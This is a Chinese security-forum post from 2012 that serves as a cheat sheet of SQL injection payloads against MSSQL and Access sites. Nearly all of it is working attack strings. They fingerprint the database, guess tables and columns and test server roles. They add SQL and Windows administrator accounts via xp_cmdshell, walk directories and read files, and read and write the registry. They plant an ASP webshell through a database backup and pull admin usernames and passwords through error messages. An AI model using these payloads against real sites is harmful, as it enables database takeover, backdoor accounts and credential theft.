找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1929|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 ! y% E1 u% X7 V# P$ G5 ]
;and 1=1
' Y4 z( O% b) F* {* s0 J% W  u;and 1=2
- k; s4 Q. p$ ^! k; l0 x
6 A* M- e3 n& ]5 r2.初步判断是否是mssql : p7 T+ b$ b% H: g9 J! v
;and user>0 : B( p# X, Y/ K# w" g9 b! d% U

$ k' C% |/ ~+ `- g: e$ J+ {3.判断数据库系统 ! w9 ~( e. ^8 ?# f) Y: \
;and (select count(*) from sysobjects)>0 mssql
3 p* F+ J8 s- b, X% x$ J, p/ g;and (select count(*) from msysobjects)>0 access
1 N3 C; Q+ x% ?1 M* E6 X0 `
. M& N4 d" o# R: k5 A& m4.注入参数是字符 8 M6 a5 F# R6 u) Q% Y1 i8 V6 m8 p
'and [查询条件] and ''=' 7 k/ `" Q  q( u3 w. @1 W
0 U% S3 f. v0 {8 @& A5 G) n' s! ~
5.搜索时没过滤参数的 , G6 A- [2 s2 s4 G3 [0 C! Z
'and [查询条件] and '%25'='
. o/ D) d# D7 M) A0 T2 ?$ \6 p* |( s
6.猜数表名
& ~- N+ `$ h% }0 _- w4 i;and (select Count(*) from [表名])>0 % ^! L* i& ~, i8 A) g

; G. I: q$ o9 ^% t) |9 I% C6 j7.猜字段 0 c& k  Q: }) O! o: Z
;and (select Count(字段名) from 表名)>0
" \. @' \; ?+ i/ T$ r1 C% O
; F+ L1 J' z# }# e, b/ ^# Q3 G- J8.猜字段中记录长度
. p+ g- |) J4 S6 R0 {$ E8 S;and (select top 1 len(字段名) from 表名)>0 . e$ i+ N" c7 q" z, j+ ?

$ G0 J" d  _1 z3 g9.(1)猜字段的ascii值(access)
2 v5 N. W0 Q9 D2 L+ |# e7 G3 L;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ( u- P& |; f' x! I3 k
2 s' Q1 |/ D4 j; j
(2)猜字段的ascii值(mssql)   V, B: M% ?/ F% p' R& j
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 9 V# s4 J6 z& H+ Q" e) `
2 G8 e; L7 S0 O& h
10.测试权限结构(mssql)
! r. N* |8 C* c, p;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- . }: W8 J3 K" p. e* k
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ J# @9 F4 u* I;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
& W) j4 |; Z: V; B6 t' a;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 p$ I# X0 h- g# ?+ F/ T2 |- l$ X
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- " i% r- M+ g/ d6 n5 e% U- h
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5 C$ n3 T- k/ Q( B
;and 1=(select IS_MEMBER('db_owner'));--
' @, S* K8 u% ~4 v2 b% j3 j) t8 n* s2 N3 _9 X, q8 d
11.添加mssql和系统的帐户 2 A: D. u' S6 J2 G( ?$ @, L+ a4 j
;exec master.dbo.sp_addlogin username;-- / J4 f3 A& q3 @2 _. ^, C, ]. c
;exec master.dbo.sp_password null,username,password;--
& X0 u" Z( F1 T4 G. K" };exec master.dbo.sp_addsrvrolemember sysadmin username;--
* I5 m& @+ w4 o6 h% a; _9 I6 f;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
9 j" f/ D% f5 O. t5 K' [3 w;exec master.dbo.xp_cmdshell 'net user username password /add';--
( P! m) C. J, N- Y/ k;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4 L( T) E$ {5 A" n( Z/ M
) F2 U. }' z/ T* b; |( u9 \
12.(1)遍历目录 3 v  ^- o3 ?, V" I! G; l
;create table dirs(paths varchar(100), id int)
) H9 t& Z0 v6 y$ v;insert dirs exec master.dbo.xp_dirtree 'c:\' ' }1 D4 P/ d% j( }! _& X
;and (select top 1 paths from dirs)>0
# i* A. c3 a4 N1 z( w$ R;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
- i/ \( q6 Q3 x2 g- T- _( j: o" K: u6 ?
(2)遍历目录 ( S0 @" P) y$ k1 L$ v5 d6 f$ Y
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; b# T/ v1 c! d
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
  P* J" f% Q8 Z( h5 A;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 - [2 _8 ~0 G$ ^
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
- `* M3 Q9 |$ V, S8 G;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1 B, U' O% k2 ~

, f# Z& h- o" E, E7 L4 W( [13.mssql中的存储过程
; I+ f) o7 k. dxp_regenumvalues 注册表根键, 子键 ' Q! A6 b5 V- \$ r
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 - }7 |" K; T, C
xp_regread 根键,子键,键值名 2 F/ x" H/ g' m2 |: ^7 x
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 : }/ K2 v% J, B$ ~. J* _; p9 Y) D! g
xp_regwrite 根键,子键, 值名, 值类型, 值
& K( b- v4 j8 g! D2 {值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3 }9 v7 k5 a- F+ a) e$ K
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 2 o8 o9 v& W$ K, h1 a3 m
xp_regdeletevalue 根键,子键,值名
8 n% [( e; `6 q# [# P3 A* B' M& Rexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
! [# b, ?  c) L: z9 Cxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
3 F, \0 N6 G* ~4 c8 X/ a! C" L# ?2 |; b* k
14.mssql的backup创建webshell
- o& G5 h5 P7 x( X* `use model
  F) r2 V- p& i# f5 e2 hcreate table cmd(str image);
% W& D+ e; b+ c/ U; v! sinsert into cmd(str) values ('<% Dim oScript %>');
# ^. U. m# @! w/ R$ Xbackup database model to disk='c:\l.asp';
5 I( r5 b; O5 s  l1 m3 x9 Z6 e) J  M4 A% o; X8 u
15.mssql内置函数
( S- ~( u" s% V3 k5 L;and (select @@version)>0 获得Windows的版本号
) a" c" H7 d. i# z" q;and user_name()='dbo' 判断当前系统的连接用户是不是sa
  M! Z$ j4 r' q;and (select user_name())>0 爆当前系统的连接用户
, R7 |6 x: g: S8 s  g1 @* L: Q;and (select db_name())>0 得到当前连接的数据库
6 n) N- Y' t7 f5 `! n
% A9 A  y9 d) L, a4 F2 l) y
! s# V  K; z" d3 c5 R% e, E* x0 I
- H& }1 |0 l; jMSSQL手注暴库5 l8 @" I9 c: f" S7 _% l$ f% }) Q
9 D3 _# U4 U6 y$ ?6 N- l! \8 H
1.暴出当前表名和列名
) `- l5 D8 u. B在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
& T4 k0 f, |. H$ |4 }6 |+ e5 x6 z, t; j5 i5 x
第一.爆出所有数据库名
6 ]! [5 H0 u$ a利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。) w5 t) u8 n9 O3 T/ F! {
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
0 ^' x7 @+ E( `# r( m3 j9 x4 }' k6 D9 G4 j! T8 Y4 w% }; U/ \
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名6 D+ k) @+ c( H2 _7 D9 N
1 v1 z9 f7 c9 ?! Z+ S6 s, q& Q
4 [( A+ M* R- t0 p( d
第二.爆出指定库中的所有表名
8 F' I6 f! Y! w+ |得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
7 G/ R3 I8 R7 c- f! L2 F! ?/ }再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
0 y( u# ?4 X7 m2 F/ X1 Y! ]" ?, _
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
; N. L7 D! R% {4 ?and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--( l( v7 ~# Y* y" @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
! t: c9 ?/ t8 X' R4 Q6 W  h* x9 E0 y: O9 X2 E
4.爆出指定表中的所有列名5 c3 }5 N9 X  J: h
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) " [- E) p4 v5 B& H( S' I! N! M3 H
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
" J* H/ f; p4 J. j$ |+ e8 g
; Y& T5 @' F# N$ Fand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
, W1 N! c/ v. R5 M7 j* s# X/ Z
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- " l* T5 C9 O, Q' `1 @- J, e
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。" g  d/ ~+ s) C1 H$ {. q& y- D" D
& I7 Y: U1 I/ v* i

8 H' B4 ^( s- v. ~) t. gand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值/ E: o; K0 d, o( \8 u3 T
1 k& w3 o6 I& u+ L8 }" n7 K2 ], k
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
5 R0 l. B5 O: e: R  w" r  S9 r. f" ]1 n1 `- c# [9 A) u
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
: Q! M) H4 D+ p" \0 W* _0 t+ Q5 C0 f4 w' L# Q2 N: d/ ?; p# w

) R( u5 Q6 ]6 Y. W8 j+ L
. y4 y7 D2 P+ l- `# T5.读取指定表中的数据. k/ ]" ?1 ^7 S6 `) I

$ H+ V6 ?+ C3 q% a1 X% G- m  ~and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 " l9 t7 k4 @* k, ^

* x" |3 N1 K- J' h) eand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--" h' |5 f0 f" O

! o& }( A1 ~6 F6 C, @3 ]and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
4 {6 d; M  Y# V8 G" i
) Q6 H" r8 s1 u8 v3 B: M* m$ Z% t  t: s
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)8 N: d" h6 U$ `0 G8 K# I9 J' y( a
& c. ^' t( @. N3 s" A, X
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)1 X! N& p6 a- R( K; n( |

5 f4 P9 a5 t7 {7 I% pand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--2 M& j# t# L4 f  V

- J" z8 B# s! r3 h知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
/ @4 U; R# X2 d& ?- s9 @4 T* j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表